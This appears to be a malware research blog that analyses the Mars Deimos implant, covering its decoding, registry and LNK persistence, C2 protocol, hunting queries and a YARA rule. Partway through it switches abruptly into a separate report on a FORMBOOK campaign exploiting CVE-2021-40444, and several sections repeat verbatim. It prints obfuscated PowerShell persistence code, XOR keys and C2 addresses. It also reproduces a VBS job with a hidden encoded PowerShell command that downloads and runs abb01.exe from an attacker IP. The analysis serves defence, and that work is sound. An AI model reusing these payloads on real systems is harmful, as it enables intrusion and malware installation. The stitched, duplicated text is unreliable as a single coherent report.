To do this, we leveraged the FileDelete event configuration for Sysmon. By default, this creates a directory in the "C:\Sysmon" directory and then places all deleted files (named by the file MD5 + SHA256 hashes + 33 0's + extension) in that folder. This directory is only available to the SYSTEM user. We used PSExec to access the folder (psexec -sid cmd). The file contained a single-line Base64-encoded string.

As we observed in the PowerShell above, the contents are protected using an XOR cipher, but a cipher we have the key for. Using the command-line tools base64 and xortool, we're able to decode and decrypt the file:

• base64
  • -D - use the base64 program to decode
  • -i - the input file to be decoded
  • -o - the output file to save the decoded content
• xortool-xor
  • -r - the XOR cipher key
  • -f - the file that is XOR encrypted
  • \> - output the decrypted file

base64 -D -i 650326ac2b1100c4508b8a700b658ad7.encoded \
-o 650326ac2b1100c4508b8a700b658ad7.decoded

xortool-xor -r hYaAOxeocQMPVtECUZFJwGHzKnmqITrlyuNiDRkpgdWbSsfjvLBX \
-f 650326ac2b1100c4508b8a700b658ad7.decoded \
\> 650326ac2b1100c4508b8a700b658ad7.xor

Figure 3: Decrypting the XOR'd Base64 encoded file

This resulted in another obfuscated file that started with an XOR'd Base64-encoded variable and ended with more PowerShell.

$adab58383614f8be4ed9d27508c2b='FTDSclNHUTdlaXBxnKdZa9pUUW9iakpFGDBaelBHbE9mbTVZYlVFbWIxZ...

...CReaTEShorTcuT($ENV:APpDATa+'\m'+'IcR'+'OSO'+'Ft'+'\w'+'Ind'+'OW'+'S\'+'sT'+'ARt'+' ME
'+'nU'+'\pr'+'OGR'+'aMS\'+'sT'+'ART'+'uP'+'\a44f066dfa44db9fba953a982d48b.LNk');$a78b0ce650249ba927e4cf43d02e5.tARGETpaTh=$a079109a9a641e8b862832e92c1c7+'\'+$a7f0a120130474bdc120c5f
13775a;$a78b0ce650249ba927e4cf43d02e5.WInDoWSTYLE=7;$a78b0ce650249ba927e4cf43d02e5.sAvE();IEx $a54b6e0f7564f4ad0bf41a1875401;

Figure 4: Final obfuscated file (truncated)

Following the same process as before, we identified the XOR key (which may have been trying to use an = sign to appear to look like it was Base64) and decoded the file.

XjBrPGQ7aipqcXYkbTQobjJEX0ZzPGlOfm5YbUEmb1dBazZ0RlpCa2hLQks8eXNxK3tsRHpZVmtmUU9mb31jaVVuMXUxUGk/e0tDa0QmXjA8U0ZAckhgNl5vX1deQGBad2peTyZvVUByaSk2XlBJMTxAdEtnT0B3fnBJPCtfe2tvV0d7P3Y0V2BaeXQ9PmhtI3ZaVHc3I2tGcm5IRmlmUTV8bXpxXlg/cyo8XyFwXyt5QmwjOChQZ09aPXxqaS1hfmxDK3U=

Figure 5: XOR cipher key

This process yielded a .NET DLL file that creates an implant tracking ID and files used for persistence (more about the tracking ID is in the Analysis - Initial Access section).

adab58383614f8be4ed9d27508c2b: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows

Figure 6: .NET DLL file type

The DLL calls itself Mars.Deimos and correlates to previous research by Morphisec, Binary Defense, and security researcher Squibydoo [1] [2] [3] [4] [5]. The particular samples that we've observed utilize the .NET hardening tool Dotfuscator CE 6.3.0 to hinder malware analysis.

What we found particularly interesting is that the authors have spent time modifying the malware in an attempt to make it harder to detect, indicating that they're incentivized to maintain the malware. This is good to know as we move into the analysis phase because it means that we can make an impact on a valuable malware implant that will frustrate those using it for financial gain.

Analysis

All indicators referenced in the analysis are located in the Indicators section.

The Pyramid of Pain

Before we get into the analysis, let's discuss the model we used to help guide our process.

In 2013, security researcher David Bianco released an analytical model called the Pyramid of Pain. The model is intended to understand how uncovering different parts of an intrusion can impact a campaign. As you can see in the model below, identifying hash values are useful, but easily changed by an adversary whereas identifying TTPs is very difficult for an adversary to change.

The goal of using the Pyramid of Pain is to understand as much about the intrusion as possible and project the impact (read: the amount of "pain") you can inflict. Throughout the analysis of the observed samples, we'll overlay them onto the Pyramid of Pain as an illustrative method to assess the potential impact.

File Hashes

Once we identified that we had observed a new variant of the malware sample, we applied search queries to our dataset and identified 10 unique organizations across multiple verticals, indicating that this did not appear to be targeted. From those 10 organizations, we observed 10 different initial-installer file hashes. The dropped encoded files are also all different.

So while this information is useful, it is apparent that using a file hash as a detection method would not be useful across organizations.

IP Addresses

As other researchers have noted, we observed the same IP address used in the campaign. This IP address was first associated with malicious files on August 30, 2021.

IP 216.230.232.134
Anycast false
City Houston
Region Texas
Country United States (US)
Location 29.7633,-95.3633
Organization AS40156 The Optimal Link Corporation
Postal 77052
Timezone America/Chicago

Figure 8: Information on identified IP address

This IP address has been reported to multiple abuse sites and identified independently by multiple security researchers. We initiated a successful takedown request of the IP address on September 21, 2021, which has removed the observed C2 infrastructure access to any implants.

While this atomic indicator is useful for blocking on a firewall, it is trivial for an adversary to change to another IP address, so let’s try to get higher up the pyramid and make a bigger impact on the adversary.

Artifacts

Resource Development

The lure file samples we analyzed were predominantly signed by organizations in Scandinavian and Slavic-speaking countries, with two outliers from English and French-speaking countries. Multiple samples were signed with a digital certificate registered as a "Spoloènos s Ruèením Obmedzeným" (S.R.O.). An S.R.O. is a business designation for Slovakian businesses owned by a foreign entity.

The S.R.O. that we observed as owning the digital signatures (SRO #1) was formed on July 29, 2021, and the signature was observed starting on August 26, 2021. Additionally, the S.R.O. that we observed is owned by a different S.R.O. (SRO #2).

File Hashes

Once we identified that we had observed a new variant of the malware sample, we applied search queries to our dataset and identified 10 unique organizations across multiple verticals, indicating that this did not appear to be targeted. From those 10 organizations, we observed 10 different initial-installer file hashes. The dropped encoded files are also all different.

So while this information is useful, it is apparent that using a file hash as a detection method would not be useful across organizations.

IP Addresses

As other researchers have noted, we observed the same IP address used in the campaign. This IP address was first associated with malicious files on August 30, 2021.

IP 216.230.232.134
Anycast false
City Houston
Region Texas
Country United States (US)
Location 29.7633,-95.3633
Organization AS40156 The Optimal Link Corporation
Postal 77052
Timezone America/Chicago

Figure 8: Information on identified IP address

This IP address has been reported to multiple abuse sites and identified independently by multiple security researchers. We initiated a successful takedown request of the IP address on September 21, 2021, which has removed the observed C2 infrastructure access to any implants.

While this atomic indicator is useful for blocking on a firewall, it is trivial for an adversary to change to another IP address, so let’s try to get higher up the pyramid and make a bigger impact on the adversary.

Artifacts

Resource Development

The lure file samples we analyzed were predominantly signed by organizations in Scandinavian and Slavic-speaking countries, with two outliers from English and French-speaking countries. Multiple samples were signed with a digital certificate registered as a "Spoloènos s Ruèením Obmedzeným" (S.R.O.). An S.R.O. is a business designation for Slovakian businesses owned by a foreign entity.

The S.R.O. that we observed as owning the digital signatures (SRO #1) was formed on July 29, 2021, and the signature was observed starting on August 26, 2021. Additionally, the S.R.O. that we observed is owned by a different S.R.O. (SRO #2).

SRO #2 has been in business since August 19, 2014, and provides a variety of services. The owner of SRO #2 has a single-named partner located in a country in the former Eastern Bloc of Europe (Executive manager).

We are unable to state definitively if the organizations or people are intentionally involved, cutouts, or unwilling participants so we will not be naming them. This process of obtaining possibly stolen certificates aligns with other samples we analyzed. It is obvious that however these certificates were procured, the person (or persons) responsible appear well-versed with the bureaucracies and laws required in registering a foreign-owned business in Slovakia.

Initial Access

We observed the most indicators in this tier. Indicators in the Artifacts tier, both host and network, are valuable to a defender because they are difficult for an adversary to change without considerable rearchitecting of the way the malware functions. This differs from atomic indicators (hashes and infrastructure) in that those elements are modular and can simply be updated. Artifacts, like cipher keys (as we'll see below), are often hard-coded into the source code prior to compilation and require significant work to adjust.

The dropper creates a series of nested directories whose names are 32-characters long, alphanumeric, and lowercase. In all cases we've observed, there are six nested directories, and a single file within the final subdirectory using the same naming convention. During the initial execution, this file is loaded, deobfuscated with a 52-byte static XOR key, and then executed as a PowerShell script. We have included a hunting query in the Detection section that identifies this activity.

Additionally, the .Net assembly creates a string by listing all files located at %USERPROFILE%\APPDATA\ROAMING. This is stored as the hwid value, which is a unique identifier for this machine. If the file doesn't exist yet, it is created by generating 32 random bytes and encoding them with a custom Base64 encoding.

Persistence

Once executed, the PowerShell script establishes persistence of the malware generating a random quantity between 100 and 200 files in a directory named %APPDATA%\Microsoft\<random string>. The random string contains only lowercase and uppercase letters A-Z and the digits 0-9. It could be anywhere between 10 to 20 characters in length. This directory is the staging directory. These files contain randomly generated bytes between 50,000 bytes and 200,000 bytes. The files themselves are named <random string>.<random string>, where each random string follows the same convention as the directory name. Lastly, one final file is written to this directory which contains an obfuscated .Net DLL. This is the actual Deimos implant. It resembles the dummy files with similar attributes in this directory, further attempting to evade defenses.

The next function script will create two registry keys that provide a Windows shell handler for the first file of random data created above. It uses the file extension of that file to associate a request to execute it with running a PowerShell command. The registry keys are created at HKEY\_CURRENT\_USER\Software\Classes\<random string>\, where the random string follows the same convention as mentioned above, except for all lowercase characters. The first key will further have a subkey of \Shell\Open\Command that contains the loader PowerShell script. The string value itself has mixed cases in an effort to be more difficult to search for. For example PowErShELl was used in our sample. The second key is effectively an alias that matches the file extension of the first randomly generated file above. It's value matches the lowercase value of the random string used in the first key's path.

The final persistence artifact is a .LNk file that is placed in the user's StartUp directory. In this sample, it is hard-coded to be named a44f066dfa44db9fba953a982d48b.LNk. The shortcut is set to launch the first randomly generated file above and will open in a minimized window. Upon user login, the link file will tell Windows to launch the file, but it isn't executable. The registry keys above tell Windows to launch the PowerShell command configured in the first key above to execute the file. The PowerShell command contains the full path to the obfuscated .Net DLL and the XOR key to deobfuscate it. Finally, the .Net DLL assembly will be executed by PowerShell by calling the class method [Mars.Deimos]::interact(). This persistence architecture can be difficult to follow in text, so below is a visual representation of the persistence mechanism.

Command and Control Phase

The malware provides a general-purpose implant that can perform any action at its privilege level. Namely, it can receive and execute a Windows PE file, a PowerShell script, a .Net DLL assembly, or run arbitrary PowerShell commands.

There are a few command-specific permutations of payload encapsulations, but they are passed to a common method to perform the web request to the C2 server. The web request uses an HTTP POST method and sets a 10-minute timeout on establishing communication.

No additional headers are set other than the default headers populated by the .Net WebRequest provider, which are: Host, Content-Length, and Connection: Keep-Alive.

POST / HTTP/1.1
Host: 216.230.232.134
Content-Length: 677
Connection: Keep-Alive

Figure 12: C2 HTTP headers

Figure 13 depicts the hex dump of the body of the client's POST request.

The first bytes in white are randomly generated and prepended to the body to obfuscate patterns in network communication. There will be between 0 and 512 of these bytes. Next, shown in green, is a null byte, marking the end of random data. The next 10 bytes, shown in blue, are a “cookie” value sent in the last communication from the server. This is likely to prevent replaying captured packets to the server, as each communication is unique. There is nothing specific requiring this to be 10 bytes, but in all traffic we observed, this was the case. In the case of the initial check-in, this is not present. Finally, the remaining bytes shown in red here are the encrypted body. For the initial check-in, this is exactly 256-bytes of RSA encrypted data that includes the key that will be used in follow-on communications, and the unique hardware ID for this implant. For the remaining communications, the client uses AES-128 CBC mode for encryption. For AES encryption, this portion will always be a multiple of 16-bytes in length.

The RSA public key used for the initial handshake is unique for each campaign. Using the YARA rule in Figure 24, we were able to discover a total of 65 samples of the implant. The RSA key provided a pivot to discern unique campaigns, spanning countries from the United States to Moldova. Only 12.5% of the samples included information stealing features, similar to what has been observed with the Jupyter Infostealer. The rest of the samples were the Deimos implant with no additional info stealing capabilities. This could mean that the implant is gaining in popularity as it is full-featured and can be used for initial access and persistence for any campaigns.

Main Loop

Once the check-in process is completed, the main process loop begins. The default action of the implant during the main loop is the ping action. ping sends information about the environment, including the machine name, Windows version, CPU architecture, information about if the user has administrative privileges, and a version string for the implant.

If a task is scheduled for the implant, the response to the ping command will contain a status value that is set to either "file" or "command". If no task is given, the implant will sleep for 20 seconds + a random wait between 0 and 20 seconds. This is the wait time between all tasks.

For "file" tasks, the implant immediately performs another request using the task_id attribute from the task definition to retrieve the file. The implant expects an "exe" file, a "ps1" file, or a "module", which is a .Net Assembly file.

When an "exe" is downloaded, it will be written to a file in the %TEMP%\<RANDOM\_NAME>.exe, where RANDOM_NAME is a 24-character alphanumeric value with all capital letters. A new process is immediately launched by executing the file and the status is reported on the next task interval.

When a "ps1" file is downloaded, the contents of the script are passed to a new PowerShell process using Standard Input.

Finally, "module" files are added to a "plugin manager" and executes the "Run" method.

For "command" tasks, no additional request is required. The "command" value from the response contains PowerShell code that will be executed the same as the "ps1" file type.

Presumably, the difference is for quick scripts or perhaps interactive operations, the threat actor would use the "command" type. For larger scripts, the "file" type would be used.

Tools

Looking at the metadata from all of the observed samples, we can see a high-confidence connection in that they were all created using a single PDF software platform.

Comments : This installation was built with Inno Setup.
Company Name :
File Description : SlimReader Setup
File Version :
Legal Copyright : (c) InvestTech
Original File Name :
Product Name : SlimReader
Product Version : 1.4.1.2

Figure 14: Malware lure file metadata

While this software seems to be legitimate, it seems to be frequently used to create lure files. We have observed 53 malware, or malware-adjacent, samples created using the SlimReader tool. Additionally, the research team at eSentire identified SlimReader as the tool of choice in the creation of, as reported, many hundreds of thousands of lure files.

TTPs

At the very top of the pyramid, we observe a characteristic that is present in our samples as well as others reported by security researchers. In all observed cases, the malware used techniques known as Google Sneaky Redirects and Search Engine Optimization (SEO) Poisoning to trick users into installing the malware.

SEO poisoning is a technique used to put SEO keywords in a document to inflate its ranking on search engines, so malicious documents and websites are higher on web search results. Additionally, Google Sneaky Redirects is a technique used to name the initial malware installer after the Google search as a way to fool the user into clicking on the file they downloaded. As an example, if a user searches for "free resume template", and then clicks on a malicious website that appears to have that file, they will be presented with a malware installer named, in this example, free-resume-template.exe. The malware will leverage a PDF icon even though it is an executable as an attempt to trick the user into executing the PE file, which starts the PowerShell processes highlighted below in the Elastic Analyzer view.

Understanding the malware processes as well as how it interacts with the different elements with the Pyramid of Pain is paramount to inflicting long-term impacts to the activity group and intrusion sets.

Impact

The described intrusion sets leverage multiple tactics and techniques categorized by the MITRE ATT&CK® framework. Other TTPs may exist, however, they were not observed during our analysis.

Tactics

• Resource Development
• Initial Access
• Execution
• Persistence
• Defense Evasion
• Command and Control

Techniques / Sub Techniques

• Acquire Infrastructure - Virtual Private Server
• Develop Capabilities - Malware, Code Signing Certificates or Obtain Capabilities - Malware, Code Signing Certificates
• Drive-by Compromise
• Command and Scripting Interpreter - PowerShell
• User Execution - Malicious File
• Boot or Logon Autostart Execution - Registry Run Keys / Startup Folder
• Deobfuscate/Decode Files or Information
• Obfuscated Files or Information - Indicator Removal from Tools
• Application Layer Protocol - Web Protocols

Detection

There is an existing detection rule that will generically identify this activity. We are also releasing two additional rules to detect these techniques. Additionally, we are providing hunting queries that can identify other intrusion sets leveraging similar techniques.

Detection Logic

Elastic maintains a public repository for detection logic using the Elastic Stack and Elastic Endgame.

New Detection Rules

Suspicious Registry Modifications

Abnormal File Extension in User AppData Roaming Path

Hunting Queries

These queries can be used in Kibana's Security -> Timelines -> New Timeline → Correlation query editor. While these queries will identify this intrusion set, they can also identify other events of note that, once investigated, could lead to other malicious activities.

This query will identify the initial dropped file containing the obfuscated installer.

file where file.path regex """C:\\Users\\[^\\]*\\([a-z0-9]{32}\\){6}[a-z0-9]{32}"""

Figure 16: Hunt query identifying initial installer

This query will identify the unique “Hardware ID” file (hwid) that is created the first time the implant is run. This ID file is used to uniquely identify this installation.

file where file.path regex~ """.*\\APPDATA\\ROAMING\\[A-Za-z0-9_]{96,192}"""

Figure 18: Hunt query identifying Hardware ID

This query will identify any files with a file extension of ten or more characters in the AppData\Roaming path.

file where file.path : "*\\appdata\\roaming\\*" and
length(file.extension) >= 10 and
process.name : ("cmd.exe", "powershell.exe", "wmic.exe", "mshta.exe", "pwsh.exe", "cscript.exe", "wscript.exe", "regsvr32.exe", "RegAsm.exe", "rundll32.exe", "EQNEDT32.EXE", "WINWORD.EXE", "EXCEL.EXE", "POWERPNT.EXE", "MSPUB.EXE", "MSACCESS.EXE", "iexplore.exe", "InstallUtil.exe")

Figure 20: Hunt query identifying long file extensions

This query will identify a long string value containing the word "powershell" in the Registry.

registry where registry.data.strings : "*powershell*" and length(registry.data.strings) \>= 100

Figure 22: Hunt query identifying long Registry strings

YARA Rules

We have created a YARA rule to identify the presence of the Deimos trojan DLL file described in this post.

rule Windows_Trojan_Deimos_DLL {
meta:
author = "Elastic Security"
creation_date = "2021-09-18"
last_modified = "2021-09-18"
os = "Windows"
arch = "x86"
category_type = "Trojan"
family = "Deimos"
threat_name = "Windows.Trojan.Deimos"
description = "Detects the presence of the Deimos trojan DLL file."
reference = ""
reference_sample = "2c1941847f660a99bbc6de16b00e563f70d900f9dbc40c6734871993961d3d3e"

strings:
$a1 = "\\APPDATA\\ROAMING" wide fullword
$a2 = "\{\"action\":\"ping\",\"" wide fullword
$a3 = "Deimos" ascii fullword
$b1 = \{ 00 57 00 58 00 59 00 5A 00 5F 00 00 17 75 00 73 00 65 00 72 00 \}
$b2 = \{ 0C 08 16 1F 68 9D 08 17 1F 77 9D 08 18 1F 69 9D 08 19 1F 64 9D \}
condition:
all of ($a*) or 1 of ($b*)
\}

Figure 24: Deimos DLL YARA Rule

You can access this YARA rule here.

Defensive Recommendations

The following steps can be leveraged to improve a network's protective posture.

1. Review and implement the above detection logic within your environment using technology such as Sysmon and the Elastic Endpoint or Winlogbeat.
2. Review and ensure that you have deployed the latest Microsoft Security Updates
3. Maintain backups of your critical systems to aid in quick recovery.

References

The following research was referenced throughout the document:

• https://www.binarydefense.com/mars-deimos-solarmarker-jupyter-infostealer-part-1
• https://redcanary.com/blog/yellow-cockatoo
• https://www.crowdstrike.com/blog/solarmarker-backdoor-technical-analysis
• https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=VirTool:MSIL/Deimos.A!rfn&ThreatID=2147770772
• http://detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html
• https://blog.morphisec.com/jupyter-infostealer-backdoor-introduction
• https://blog.morphisec.com/new-jupyter-evasive-delivery-through-msi-installer
• https://squiblydoo.blog/2021/06/20/mars-deimos-from-jupiter-to-mars-and-back-again-part-two
• https://www.esentire.com/security-advisories/hackers-flood-the-web-with-100-000-malicious-pages-promising-professionals-free-business-forms-but-are-delivering-malware-reports-esentire
• https://www.bankinfosecurity.com/how-seo-poisoning-used-to-deploy-malware-a-16882

Indicators

We have observed, and will discuss, three phases of this campaign relevant to defenders:

• Testing phase using CVE-2021-40444
• Production phase using CVE-2021-40444
• Generic phase without CVE-2021-40444

As of November 8, 2021, Elastic observed network infrastructure actively being used to deploy the FORMBOOK information stealer and acting as a command and control endpoint serving archives, implants, and scripts leveraged throughout the campaign variations.

We wanted to call out some great adjacent research from the team as Sophoslabs Uncut that was released on December 21, 2021. Research groups frequently analyze similar, or in this case, the same campaigns through their lens. This is fantastic as it gets more eyes, from different perspectives, onto the same problem. If you're looking for more information, please check out their research over on their blog.

Key Takeaways

• The speed at which vulnerability PoC’s are being released highlights the need to leverage threat hunting to identify post-exploitation events before patches can be applied

• A FORMBOOK campaign was observed combining infrastructure that allowed testing and production phases to be linked together

• Patching for the MSHTML exploit appears to be effective as the campaign shifted from attempting to use the exploit to a traditional phishing malware-attachment approach

• The campaign required a multi-process attack chain to load a DLL file onto victim systems

On September 7, 2021, Microsoft confirmed a vulnerability for the browser rendering engine used in several applications such as those within the Microsoft Office suite. Within three days [1] [2], proof-of-concept code was released, highlighting the maturity of the exploit development ecosystem and underscoring the importance of proactive threat hunting and patch management strategies.

Based on telemetry, we observed this exploit used in conjunction with the FORMBOOK information stealer. We also identified an adversary tradecraft oversight that led to us connecting what appeared to be campaign testing infrastructure and a FORMBOOK phishing campaign targeting manufacturing victims with global footprints.

This post details the tactics, techniques, and procedures (TTPs) of this campaign. Our goal is to enable detection capabilities for security practitioners using the Elastic Stack and any readers concerned with the CVE-2021-40444 vulnerability or campaigns related to FORMBOOK.

Details

When Microsoft disclosed a vulnerability in the browser rendering engine used by multiple Microsoft Office products, proof-of-concept code was released within three days. This allowed defenders to observe how the exploit operated and to develop countermeasures to defend their networks while patches and mitigating workarounds could be deployed [1], [2], [3], [4], [5], [6].

Additionally, this highlights the maturity of the exploit development community — underscoring the importance of proactive measures (like network and endpoint monitoring, anti-spam/phishing countermeasures, email MIME-type attachment policies, etc.) and an exercised patch management strategy.

At a high level, an attacker could craft a malicious ActiveX control to be used by a Microsoft Office document that will allow for code to be remotely executed on a victim machine. While this vulnerability is well documented, security researcher

We initiated several collection techniques simultaneously, including searching for malicious attachments that would be included in phishing emails — one of the most common mechanisms for distributing exploit code. We noticed that not many malicious email attachments had been reported, and by October 28, 2021, we were only able to identify four instances of this exploit leveraged with email. In addition to the four instances of the exploit, we observed the threat actor attempting to leverage a generic phishing approach with the FORMBOOK malware as an attachment.

The next following sections will break down these different campaign sightings and their respective details:

• Testing
• Production
• Generic

Throughout the Details section, it is important to note a few things that are required for this attack chain to function, irrespective of the Testing or Production phases

1. A major challenge for the campaign is to get a DLL file onto the victim system
2. ActiveX controls are DLL files with special constraints
3. Web pages can link ActiveX controls directly or load files that are contained in a URL --- this is not recommended by Microsoft because file signatures cannot be validated

Testing phase

The first sighting contained an email with a single attachment with a sender of admin0011[@]issratech.com. While researching that email address, we discovered this email address associated with additional malicious samples in VirusTotal. The email observed in this phase included a single attachment called Request Details.docx.

Email attachments are stored as Base64 encoded strings in the email. To extract the Request Details.docx email attachment, we can use the echo command to send the Base64 encoded string to STDOUT, pipe it to the base64 program, and save it as email-attachment so that we can analyze it.

$ echo "UEsDBBQAAAAIAFCELVO0gTweZgEAAIgFAAATAAAAW0NvbnRlbnRfVHlwZXNdLnhtbLVUyWrDMBC9F/oPRtdgK+...truncated..." | base64 -D -o email-attachment

Request Details.docx

The file command is a standard Unix and Unix-like program for identifying a file type. Running the file command, verified that this was a Microsoft Word document:

$ file email-attachment
email-attachment: Microsoft Word 2007+

Microsoft Office documents, post-2007, are compressed archives. To dig into the document without opening it, you can decompress the file using the unzip command as illustrated below.

$ unzip email-attachment
Archive:  email-attachment
    inflating: [Content_Types].xml
    inflating: docProps/app.xml
    inflating: docProps/core.xml
    inflating: word/document.xml
    inflating: word/fontTable.xml
    inflating: word/settings.xml
    inflating: word/styles.xml
    inflating: word/webSettings.xml
    inflating: word/media/image1.jpeg
    inflating: word/media/image2.wmf
    inflating: word/theme/theme1.xml
    inflating: word/_rels/document.xml.rels
    inflating: _rels/.rels

Within the document relationship file (word/_rels/document.xml.rels), we can view metadata about how different elements of the document are related to each other.

$ cat word/_rels/document.xml.rels
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
...truncated...
<Relationship Id="rId6" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject"
Target="MHTML:&#x48;&#x54;&#x54;&#x50;&#x3a;&#x5c;&#x5c;&#x31;&#x30;&#x34;&#x2e;&#x32;&#x34;&#x34;&#x2e;&#x37;&#x38;&#x2e;
    &#x31;&#x37;&#x37;&#x5c;&#x50;&#x6f;&#x70;&#x65;&#x2e;&#x74;&#x78;&#x74;&#x21" TargetMode="External"/>
...truncated
</Relationships>

From here, we can see an externally linked MHTML OLE object inside an element using HTML entities, which reserve characters in HTML. HTML entities are natively not human readable, so they need to be decoded. Using the data analyzer and decoder from the United Kingdom’s Government Communications Headquarters (GCHQ), CyberChef, we were able to quickly decode the HTML entities with the “From HTML Entity” recipe (CyberChef recipes are pre-configured data parsers and decoders).

The decoded HTML entity was HTTP:\104[.]244[.]78[.]177\Pope.txt. This provided us with another atomic indicator to add to the admin0011[@]issratech.com email address we’d previously collected, 104[.]244[.]78[.]177. Additionally, the decoded HTML entity revealed another file that could be of interest, Pope.txt.

Pope.txt

We retrieved a copy of Pope.txt from 104[.]244[.]78[.]177 and observed that it contained JavaScript code using variable renaming and string obfuscation. This JavaScript performs the following functions:

• Downloads a Cabinet archive file called comres.cab from the same IP address but fails to extract it
• Creates several ActiveX objects (which are executable applications or libraries) to be loaded into the browser rendering engine
• Uses the CVE-2021-40444 vulnerability with the ActiveX objects to perform directory traversal and execute a file called IEcache.inf. This filename is the DLL loader from the ASL IT Security PoC code and doesn’t exist in this test run

The above figure shows the notable section of the obfuscated JavaScript code. We used a debugger to parse out the results of the lookup functions (shown commented out with //‘s). This revealed the classid (CLSID:edbc374c-5730-432a-b5b8-de94f0b57217) attribute which appears across the web in various other malware analyses of CVE-2021-40444. This suggests with moderate confidence that this JavaScript was crafted using some repurposed code that has been open-sourced. The classid attribute is used to determine if comres.cab has already been downloaded — if it has, it won’t attempt to download it again.

Once comres.cab is downloaded and extracted, the extracted file must be located. This is why there are multiple directory execution attempts observed in JavaScript. All the work up to this point is to get the DLL (IEcache.inf) onto the filesystem. Finally, the DLL file would be executed as a control panel file (.cpl), because control panel files can be loaded as DLLs.

Comres.cab and 1.doc.inf

In our sample, comres.cab does not include the ASL IT Security PoC DLL (IEcache.inf). It included a file called 1.doc.inf.

From comres.cab we used the file archive utility, 7-Zip, to extract 1.doc.inf. This file is interesting because it has the .inf (setup information file) extension, but in using the file command, we can see that it is actually a DLL file, meaning that the file type is being obfuscated.

$ 7z e comres.cab
7-Zip [64] 17.04 : Copyright (c) 1999-2021 Igor Pavlov : 2017-08-28
p7zip Version 17.04 (locale=utf8,Utf16=on,HugeFiles=on,64 bits,16 CPUs x64)
Scanning the drive for archives:
1 file, 6060053 bytes (5919 KiB)
Extracting archive: comres.cab
--
Path = comres.cab
Type = Cab
Physical Size = 6060053
Method = None
Blocks = 1
Volumes = 1
Volume Index = 0
ID = 1234
Everything is Ok
Size:       4465152
Compressed: 6060053

$ file 1.doc.inf
1.doc.inf: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

When analyzing the import address table (IAT) of 1.doc.inf, we observed multiple API functions, which would allow the file to download and execute additional files. Of particular note were the ShellExecuteExA and URLDownloadToFileW API functions.

=== IMPORTS ===
MODULE_NAME      HINT   ORD  FUNCTION_NAME
bcrypt.dll          0        BCryptSetProperty
                    0        GetKeyState
ADVAPI32.dll        0        RegDeleteKeyW
SHELL32.dll         0        ShellExecuteExA
urlmon.dll          0        URLDownloadToFileW
WS2_32.dll                9
ole32.dll           0        CoInitializeSecurity
NETAPI32.dll        0        NetLocalGroupAddMembers
OLEAUT32.dll              8
PSAPI.DLL           0        GetModuleFileNameExW
                    0        WTSSendMessageW
                    0        GetProcessWindowStation
                    0        LocalAlloc
                    0        GetModuleFileNameW
                    0        GetProcessAffinityMask
                    0        SetProcessAffinityMask
                    0        SetThreadAffinityMask
                    0        Sleep
                    0        ExitProcess
                    0        FreeLibrary
                    0        LoadLibraryA
                    0        GetModuleHandleA
                    0        GetProcAddress
                    0        GetProcessWindowStation
                    0        GetUserObjectInformationW

Through further analysis of the DLLs sections list, we identified that the file was protected with VMProtect (identified by the .vmp0, .vmp1, .vmp2, .vmp3 sections). “VMProtect protects code by executing it on a virtual machine with non-standard architecture that makes it extremely difficult to analyze.”

$ pedump --sections 1.doc.inf | awk '{print $1, $2, $3, $4}'
=== SECTIONS ===
NAME    RVA    VSZ    RAW_SZ
.text   1000   12ecd  0
.rdata  14000  49ce   0
.data   19000  1350d8 0
.vmp1   14f000 2c70   0
.vmp0   152000 fac    0
.bss    153000 1000   0
.vmp2   154000 38c0bb 0
.vmp3   4e1000 5c6720 5c6800
.reloc  aa8000 5b4    600

As we were unable to analyze the VMProtected file, we continued to explore other information that we’d previously collected. Specifically, we searched for additional samples that had been sent using the same admin0011[@]issratech.com email address. These parallel analyses identified additional samples and campaign phases, which we’re referring to as the Production and Generic phases.

Production phase

The second, third, and fourth sightings all had the same sender field of admin0011[@]issratech.com and included a single attachment — Profile.rar file — to deliver the second stage malware.

Profile.rar

Previously, we’ve highlighted files that have an extension that differs from their actual file type. To validate that the attachment is a RAR archive, we again use the file command to validate that it is a RAR archive.

$ file Profile.rar
Profile.rar: data

The attachment has a RAR file extension, but instead of having a file type of RAR archive data, v5, it is raw data. Analysts who discover a file containing raw data can use the less command to dump the file contents to STDOUT to directly inspect what may be inside.

$ less Profile.rar
<job><script language=vbs>Set WshShell = WScript.CreateObject("WScript.Shell")
runCmd = "POwErshell -noprofile -noni -W Hidden -enc aQBlAHgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAHMAeQBzAHQAZQBtAC4AbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAGYAaQBsAGUAKAAiAGgAdAB0AHAAOgAvAC8AMQAwADQALgAyADQANAAuADcAOAAuADEANwA3AC8AYQBiAGIAMAAxAC4AZQB4AGUAIgAsACIAJABlAG4AdgA6AEwATwBDAEEATABBAFAAUABEAEEAVABBAFwAZABsAGwAaABvAHMAdABTAHYAYwAuAGUAeABlACIAKQApADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAJABlAG4AdgA6AEwATwBDAEEATABBAFAAUABEAEEAVABBAFwAZABsAGwAaABvAHMAdABTAHYAYwAuAGUAeABlACIA"
WshShell.Run "cmd /c " & runCmd, 0, True</script></job> Rar!...truncated...

The raw data includes a script job element that can be natively interpreted by the Windows Script Host (WSH). The job element directs WSH to spawn a shell that spawns a hidden PowerShell process which then runs a Base64 encoded PowerShell script. However, the script job element needs to be executed, which isn’t done by double-clicking on the file.

Decoding this string, we can see that a file called abb01.exe is downloaded and executed from 104[.]244[.]78[.]177. This is the same IP address we have observed across all Testing and Production phases.

